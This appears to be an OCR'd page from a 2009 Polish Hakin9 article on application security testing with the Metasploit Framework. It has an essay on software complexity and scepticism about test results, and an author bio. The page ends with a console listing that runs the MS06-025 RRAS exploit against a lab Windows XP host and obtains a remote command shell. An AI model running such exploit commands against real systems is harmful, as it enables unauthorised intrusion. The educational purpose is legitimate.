TESTY BEZPIECZEŃSTWA APLIKACJI Z WYKORZYSTANIEM MSF podanych cech. Łatwo jest odróżnić kozę od wilka, jeśli widzi się całą postać, ale koźlętom kazano sprawdzić tylko kolor łap i głos. Komputer y przekazują dużo cennych informacji, które są niezmiernie łakomym kąskiem dla przestępców. Jednak ludzie pragnący zabezpieczyć swoje dane wydają się jeszcze bardziej naiwni od koźlątek, gdy starają się odróżniać uczciwego od oszusta tylko na podstawie ciągów symboli dostarczanych do systemów informatycznych. Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem. Pomimo r ygor ystycznego i systematycznego testowania większość dużych programów zawiera nieusunięte defekty od chwili, w której zaczynamy je testować. Tak jak było to już wspomniane, przyczyną tego zjawiska jest złożoność kodów źródłowych. W dodatku, poza mimowolnie wprowadzonymi do programu błędami, zawierają one różnego rodzaju uproszczenia będące skutkiem kompromisu, które mogą wywołać niemożliwe do akceptacji zachowanie się systemu czy aplikacji. Problem oszacowania bezpieczeństwa jest bardzo poważny. By mieć zaufanie do wyników, musimy wypróbować program w sytuacjach, które mogą zaistnieć w rzeczywistości. Konstruując odpowiednie środowisko testowe (np. MSF), musimy być pewni, że przewidzieliśmy wszelkie sytuacje, które napotka program. Należy więc zawsze zachować sceptycyzm przy ocenie
wiar ygodności testu i – w konsekwencji – dokładności jego rezultatów. Jeżeli ktoś przekonuje nas o wyjątkowej niezawodności i bezpieczeństwie pojedynczego programu, możemy mu zarzucić po prostu brak dostatecznej wiedzy. W przypadku złożonych programów przykrą prawdą jest fakt ograniczonego zaufania, na które można sobie w stosunku do nich pozwolić. Sama obserwacja programu nie daje gwarancji jego poprawnego zachowania się w przyszłości. Uwzględniając złożoność obecnego oprogramowania, pozostaje nam podchodzić do niego z dużą dawką sceptycyzmu.
Grzegorz Gałęzowski
Autor jest informatykiem, członkiem zespołu naukowego do opracowania, przygotowania i wdrożenia w archiwach państwowych Zintegrowanego Systemu Informacji Archiwalnej, który jest pierwszym systemem informatycznym, tworzonym przez administrację rządową w Polsce, opartym w całości na tzw. „otwartym oprogramowaniu”. Autor zajmuje się Linuksem od ponad 12 lat. Hobby informatyczne to systemy IBM z/OS, OS/400, AIX i SAP R/3. Kontakt z autorem: gsgalezowski@gmail.com
Listing 11. Sprawdzamy exploit na potoku SRVSVC msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC SMBPIPE => SRVSVC msf exploit(ms06_025_rras) > exploit [*] Started bind handler [*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_ np:192.168.1.20[\SRVSVC] ... [*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_ np:192.168.1.20[\SRVSVC] ... [*] Getting OS... [*] Calling the vulnerable function on Windows XP... [*] Command shell session 1 opened (192.168.1.13:2347 -> 192.168.1.20:4444) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Windows\system32>
4/2009 HAKIN9
29